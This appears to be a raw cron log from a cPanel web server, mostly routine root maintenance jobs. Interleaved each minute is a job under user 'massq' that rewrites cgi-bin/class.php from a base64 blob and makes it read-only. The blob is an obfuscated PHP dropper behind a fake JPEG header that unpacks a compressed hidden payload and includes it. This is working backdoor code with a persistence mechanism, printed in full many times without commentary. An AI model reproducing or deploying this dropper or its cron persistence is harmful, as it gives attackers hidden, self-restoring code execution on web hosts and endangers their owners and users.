Aug 31 08:14:01 server CROND[15029]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:14:01 server CROND[15030]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:14:01 server CROND[15031]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:15:01 server CROND[15456]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:15:01 server CROND[15474]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:15:01 server CROND[15473]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:15:01 server CROND[15478]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:15:01 server CROND[15477]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:15:01 server CROND[15479]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 08:15:01 server CROND[15475]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Aug 31 08:15:01 server CROND[15476]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:15:01 server CROND[15472]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:16:01 server CROND[16398]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:16:01 server CROND[16400]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:16:01 server CROND[16399]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:17:01 server CROND[16763]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:17:01 server CROND[16765]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:17:01 server CROND[16764]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:18:01 server CROND[17130]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:18:01 server CROND[17131]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:18:01 server CROND[17132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:19:01 server CROND[17503]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:19:01 server CROND[17504]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:19:01 server CROND[17505]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:20:01 server CROND[17881]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 08:20:01 server CROND[17882]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 08:20:01 server CROND[17883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:20:01 server CROND[17888]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 08:20:01 server CROND[17890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:20:01 server CROND[17891]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 08:20:01 server CROND[17892]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:20:01 server CROND[17895]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:20:01 server CROND[17893]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:21:01 server CROND[18877]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:21:01 server CROND[18878]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:21:01 server CROND[18879]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:22:01 server CROND[19269]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:22:01 server CROND[19270]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:22:01 server CROND[19271]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:23:01 server CROND[19652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:23:01 server CROND[19651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:23:01 server CROND[19653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:24:01 server CROND[20043]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 08:24:01 server CROND[20044]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:24:01 server CROND[20045]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:25:01 server CROND[20440]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 08:25:01 server CROND[20442]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 08:25:01 server CROND[20458]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 08:25:01 server CROND[20454]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 08:25:01 server CROND[20459]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Aug 31 08:25:01 server CROND[20456]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
